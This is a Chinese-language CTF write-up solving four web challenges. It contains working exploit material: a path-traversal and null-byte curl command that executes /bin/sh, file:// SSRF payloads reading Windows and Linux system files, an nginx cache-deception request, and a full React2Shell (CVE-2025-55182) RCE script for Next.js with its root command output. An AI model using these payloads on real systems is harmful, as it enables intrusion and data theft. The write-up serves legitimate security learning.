Web
Bun.PHP
主要的程式碼邏輯很短,簡單來說就是他會接收你想用 cgi run 起來的檔案,然後去把它跑起來。
import { $ } from "bun";import { resolve } from "node:path";
const server = Bun.serve({ host: "0.0.0.0", port: 1337, routes: { "/": async req => { return new Response(null, { status: 302, headers: { "Location": "/cgi-bin/index.php" }, }); },
"/cgi-bin/:filename": async req => { const filename = req.params.filename; if (!filename.endsWith(".php")) { return new Response(`404\n`, { status: 404, headers: { "Content-Type": "text/plain" }, }); }
const scriptPath = resolve("cgi-bin/" + filename); const body = await req.blob(); const shell = $`${scriptPath} < ${body}` .env({ REQUEST_METHOD: req.method, QUERY_STRING: new URL(req.url).searchParams.toString(), CONTENT_TYPE: req.headers.get("content-type") ?? "", CONTENT_LENGTH: body ? String(body.size) : "0", SCRIPT_FILENAME: scriptPath, GATEWAY_INTERFACE: "CGI/1.1", SERVER_PROTOCOL: "HTTP/1.1", SERVER_SOFTWARE: "bun-php-server/0.1", REDIRECT_STATUS: "200", }) .nothrow();
// PHP-CGI outputs headers + body separated by \r\n\r\n const output = await shell.text(); const [rawHeaders, ...rest] = output.split("\r\n\r\n"); const headers = new Headers(); for (const line of rawHeaders.split("\r\n")) { const [k, v] = line.split(/:\s*/, 2); if (k && v) headers.set(k, v); }
const responseBody = rest.join("\r\n\r\n"); return new Response(responseBody, { headers }); }, }});
console.log(`listening on http://localhost:${server.port}`);filename 是我們可以控制的,可以看到這邊很明顯有個 path traveral
const scriptPath = resolve("cgi-bin/" + filename);也就是說我們其實可以任意控制 scriptPath 但是有一個白名單檢查,他會限制你的檔案只能是 .php 結尾,但這邊只要用 null byte 就能繞過了。
"/cgi-bin/:filename": async req => { const filename = req.params.filename; if (!filename.endsWith(".php")) { return new Response(`404\n`, { status: 404, headers: { "Content-Type": "text/plain" },});}然後下兩行
const body = await req.blob();const shell = $`${scriptPath} < ${body}`會把你的 body 塞到 scriptPath,所以我們其實就可以 ../ 到 /bin/sh 去執行我們的指令,最後組合起來就變這樣 (塞個 \r\n\r\n 讓他從 body 打回來)
- exploit :
curl -v --data-binary $'printf "\\r\\n\\r\\n"; /readflag give me the flag' "https://079a02d40b765778.chal.eof.133773.xyz:20001/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fbin%2Fsh%00.php"
EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}
CookieMonster Viewer
是個黑箱題!先隨便戳戳看~ 當我亂給 /api/templates/meow 的時候會報錯誤訊息
Template not found: [WinError 2] The system cannot find the file specified: 'C:\\supersecureyouwillneverguessed\\templates/meow.html'
但目前看起來沒什麼用?但我們這邊還可以知道他是一台 windows! 然後來看看 /api/preview 的功能
POST /api/preview HTTP/1.1Host: chals2.eof.ais3.org:20918Content-Length: 63Accept-Language: zh-TW,zh;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://chals2.eof.ais3.org:20918Referer: http://chals2.eof.ais3.org:20918/Accept-Encoding: gzip, deflate, brConnection: keep-alive
{"url":"http://localhost/api/templates/lake","username":"awda"}有個 url 參數?看起來很 ssrf! 用 file:// 協議讀個 win.ini 看看
{"url":"file:///C:/Windows/win.ini","username":"awda"}
HTTP/1.1 200 OKServer: Werkzeug/3.1.4 Python/3.12.10Date: Wed, 24 Dec 2025 13:48:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 127Connection: close
; for 16-bit app support[fonts][extensions][mci extensions][files][Mail]MAPI=1[Ports]COM1:=9600,n,8,1COM2:=9600,n,8,1好耶!那我們可以根據剛剛的路徑來讀原始碼看看! 有通到找到 app.py 跟 dockerfile
- app.py
{"url":"file:///C:/supersecureyouwillneverguessed/app.py","username":"awda"}
HTTP/1.1 200 OKServer: Werkzeug/3.1.4 Python/3.12.10Date: Wed, 24 Dec 2025 13:50:35 GMTContent-Type: text/html; charset=utf-8Content-Length: 1263Connection: close
from flask import Flask, request, send_from_directory, send_file, render_template_stringimport subprocessimport os
app = Flask(__name__, static_folder='static')
def get_os(): import ctypes.wintypes v = ctypes.windll.kernel32.GetVersion() return f"Windows {v & 0xFF}.{(v >> 8) & 0xFF}"
class User: def __init__(self, name): self.name = name def __str__(self): return self.name
@app.route('/')def index(): with open('static/index.html', encoding='utf-8') as f: return render_template_string(f.read(), os_info=get_os())
@app.route('/api/preview', methods=['POST'])def preview(): data = request.get_json() url = data.get('url', '') user = User(data.get('username', 'Guest'))
result = subprocess.run([r'.\lib\curl.exe', url], capture_output=True, text=True, encoding='utf-8', errors='replace') content = result.stdout or result.stderr
try: return content.format(user=user) except: return content
@app.route('/api/templates/<name>')def get_template(name): try: return send_file(f'templates/{name}.html') except Exception as e: return f'Template not found: {e}', 404
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)- dockerfile
{"url":"file:///C:/supersecureyouwillneverguessed/dockerfile","username":"awda"}
HTTP/1.1 200 OKServer: Werkzeug/3.1.4 Python/3.12.10Date: Wed, 24 Dec 2025 13:51:12 GMTContent-Type: text/html; charset=utf-8Content-Length: 811Connection: close
FROM python:3.12-windowsservercore-ltsc2022
WORKDIR /supersecureyouwillneverguessed
COPY requirements.txt .RUN python -m pip install --no-cache-dir -r requirements.txt
COPY . .
# First move the flag (while we have write access)SHELL ["powershell", "-Command"]RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName
# Then lock down permissionsSHELL ["cmd", "/S", "/C"]RUN net user /add appuser && \ attrib +R C:\supersecureyouwillneverguessed\*.* /S && \ icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T && \ icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)
USER appuserCMD ["python", "app.py"]我們基本上可以得知要 rce 才能取得 flag 了! 然後 python 裏又有一個 format string 的漏洞在 content.format(user=user),另外我又想到這台竟然是 windows 應該會有 worstfit 的問題! 接著… 接著我就不會串了,雖然賽中有想到這兩個漏洞但我沒有想到要怎麼把它們結合在一起,最後是去讀 C:\ 的 index allocation 然後 flag 檔名就跑出來了,超酷!
{"url":"file:///C:/:$I30:$INDEX_ALLOCATION","username":"awda"}
HTTP/1.1 200 OKServer: Werkzeug/3.1.4 Python/3.12.10Date: Wed, 24 Dec 2025 13:55:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 247Connection: close
BootbootmgrBOOTNXTDocuments and SettingsDumpStack.log.tmpflag-sNfLDScBvoFbxYMQ.txtinetpubLicense.txtProgram FilesProgram Files (x86)ProgramDataPythonsupersecureyouwillneverguessedSystem Volume InformationUsersWcSandboxStateWindows最後去讀 flag
POST /api/preview HTTP/1.1Host: chals2.eof.ais3.org:20918Content-Length: 64Accept-Language: zh-TW,zh;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://chals2.eof.ais3.org:20918Referer: http://chals2.eof.ais3.org:20918/Accept-Encoding: gzip, deflate, brConnection: keep-alive
{"url":"file:///C:/flag-sNfLDScBvoFbxYMQ.txt","username":"awda"}
HTTP/1.1 200 OKServer: Werkzeug/3.1.4 Python/3.12.10Date: Wed, 24 Dec 2025 13:56:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 47Connection: close
EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}我會想辦法補預期解回來的 ><
EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}
LinkoReco
又雙叒叕是黑箱題 (灰箱) 於是我決定等提示出來才解這題
Hint1.
Kurumi 手滑了不小心掉出了這份使用指南
1. Token 只有在使用者從 local 造訪的時候會顯示2. 這個服務沒有正確 Token 傳入的時候不會回顯內容,只會告訴你 status code,所以有 token 會更方便使用系統3. 眼睛睜大一點,你會發現伺服器其實有在記得一些東西,而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了,/static 的靜態檔案應該要被存到的,但是他們直接走 nginx 跑掉了4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm serviceHint2.
map $request_uri $is_static { default 0; "~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;}然後會有一個 web 頁面讓你去戳其他的網站,但沒有給 token 的話是只看得到 status code 的。 然後根據提示一,我們可以知道 token 要從 local 訪問才會顯示。 然後提示二直接把打的方法告訴你了,可以看到 nginx 會對 /static 開頭以及特定附檔名進行快取,這時候我們拿一個 payload 讓這個 web 頁面去戳,然後我們再趕快去一次同樣的網址就可以看到 token 了!
- 在 web 送
http://web/static/%2e%2e%2findex.php/meow.css- terminal 趕快去訪問一次
curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is
... textarea {min-height:100px; resize:vertical;} .col {flex:1 1 300px; min-width:220px;} .actions {text-align:right; margin-top:8px;} button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;} .small-muted {font-size:12px;color:#666;margin-top:6px} .logo {max-width:120px; display:block; margin-bottom:12px;} </style></head><body> <div class="container"> <h1>接続テスト</h1> <div class="subtitle">あなたのトークン: 200_OK_FROM_WA1NU7</div> <!--- full access token display, local only ---> <form method="post"> <div class="row"> <div class="col"> <label for="url">URL</label> <input type="text" id="url" name="url" placeholder="https://example.com"> </div> </div> <div class="row"> <div class="col">...拿到 token 後我們去 fetch 的東西就會有回傳文字了! 題目其實還有給一個 docker-compose.yml
version: '3'services: web: image: nginx:latest ports: - "19080:80" volumes: - ./conf/default.conf:/etc/nginx/conf.d/default.conf - ./src:/var/www/html depends_on: - php
php: image: php:7.4-fpm volumes: - ./src:/var/www/html - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.
# static files should be well handled, but seems like only fpm serves it?可以得知 flag 是被掛載在 /etc 底下,但我們不知道檔名。 這時候一樣可以用 file:// 協議去讀一個檔案 /proc/self/mounts 他會記錄掛載的一些資訊。
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YFEXIRUO7Z4OCGQ5KL3WBOLW2A:/var/lib/docker/overlay2/l/XMKYSFOCJX2HFFGV5IWGSFNKNC:/var/lib/docker/overlay2/l/4UZP7SBGXDTFA5UEMMG2OXANJP:/var/lib/docker/overlay2/l/347ZPM3G26K5EFJKDYHUGZDECI:/var/lib/docker/overlay2/l/ZZLPILUDBPWY32C4UIIAF5R7IT:/var/lib/docker/overlay2/l/6W5E5MN7QKH4BHD4X7LZWC6HOI:/var/lib/docker/overlay2/l/YTSBFV7H3YYUBB7YS5EUSOWFJC:/var/lib/docker/overlay2/l/WICBG4ZBSBV7CT45DJAMGHSHLP:/var/lib/docker/overlay2/l/MJIHWQJHN5L5P6O4SMXNTOLZ7O:/var/lib/docker/overlay2/l/FKZ7U5ZEDQ4X3KYIKQHJ5HBOV6:/var/lib/docker/overlay2/l/QY3ZKXBKXVEPWDAASFA5C3Z6RN,upperdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/diff,workdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/work 0 0proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0/dev/sda1 /etc/ca7_f113.txt ext4 rw,relatime,discard,errors=remount-ro 0 0/dev/sda1 /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0/dev/sda1 /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0/dev/sda1 /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0/dev/sda1 /var/www/html ext4 rw,relatime,discard,errors=remount-ro 0 0proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0看到 /etc/ca7_f113.txt 這個檔案,去把它讀出來就好!
EOF{たきな、スイーツ追加!それがないなら……修理?やらないから!}
EOF{たきな、スイーツ追加!それがないなら……修理?やらないから!}
以大方空頭來啦!
要逆一下前端,但這部分我成為 AI 的奴隸了,我請他幫我逆向 XD
在 page-a5d5f48bdef4decb.js 中,用了 function s(t,e){return t-=138,f()[t]} 這樣的函式來取得字串。
然後他幫我寫出了一個 decode.js
function p(){let t=["YW5jZ","ZAS0A",...,"的信仰不足","m:px-"];return(p=function(){return t})()}!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);
function I(t,e){return t-=336,p()[t]}
const T = I;
console.log("T(1026):", T(1026));console.log("T(1298):", T(1298));console.log("T(912):", T(912));console.log("B:", T(1267) + T(1399) + T(1138) + T(469) + T(611));
// Print all strings to find potential Action IDsconst fs = require('fs');let output = "";for (let i = 336; i < 336 + p().length; i++) { try { let val = I(i); output += i + ": " + val + "\n"; } catch (e) {}}fs.writeFileSync('strings.txt', output);console.log("Strings written to strings.txt");執行過後
soar@universe-3 EOF % node ./decode.jsT(1026): /api/T(1298): claimT(912): POSTB: https://rpc.chainpipes.ukStrings written to strings.txt連進去過後他說偵測到駭客,並且是用 middleware rewrite 的方式寫到 /error
但 /api 的部分都能正常使用,但好像是假的,隨便 fuzz /api/target 跟 /api/claim 好像都蠻正常的。
觀察一下他的 header
curl https://rpc.chainpipes.uk/ -IHTTP/2 500date: Wed, 24 Dec 2025 14:24:41 GMTcontent-type: text/html; charset=utf-8vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetchx-middleware-rewrite: /errorcf-cache-status: DYNAMICreport-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xs%2FBBN7BCq%2FPzkWxRIEB3IKRfn5l%2FaPot8y5lsYIoHsvX5lDKQJL4xFLmyUTgCx068NXqVTJZ%2F8DQMpGJ5MtkSjzGJMTGz0YezZOp2vbqQ%3D%3D"}]}nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}server: cloudflarecf-ray: 9b30c37a3946a9bb-TPEalt-svc: h3=":443"; ma=86400看到有 next.js 我就想到最近很猛的漏洞 React2Shell (CVE-2025-55182) 去網路隨便載了一個 poc 來用之後。
- poc.py
# /// script# dependencies = ["requests"]# ///import requestsimport sysimport json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, },}
files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'),}
headers = {"Next-Action": "x"}res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)print(res.status_code)print(res.text)python3 poc.py https://rpc.chainpipes.uk/ "id"
"> (這個是假的 Cloudflare 頁面<br>純粹是不知道偵測到駭客後要放什麼<br>所以放了這個)</h1><div id="cf-wrapper"> <div id="cf-error-details" class="p-0"> <header class="mx-auto pt-10 lg:pt-6 lg:px-8 w-240 lg:w-full mb-8"> <h1 class="inline-block sm:block sm:mb-2 font-light text-60 lg:text-4xl text-black-dark leading-tight mr-2"> <span class="inline-block">Internal server error</span> <span class="code-label">Error code 500</span> </h1> <div>誒?!還是被擋了?然後我當初就卡在這邊繞那個檢查,完全忘記 /api 沒被擋這件事,直到 hint 給出 middleware 的實作我才想起來。
python3 poc.py https://rpc.chainpipes.uk/api "id"/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020 warnings.warn(5000:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}好耶!接著讀 flag 就好了
python3 poc.py https://rpc.chainpipes.uk/api "cat /flag"/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020 warnings.warn(5000:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}1:E{"digest":"EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}"}這題因為當初卡最後一個地方,所以提示一出來很快拿到首殺 ><
EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}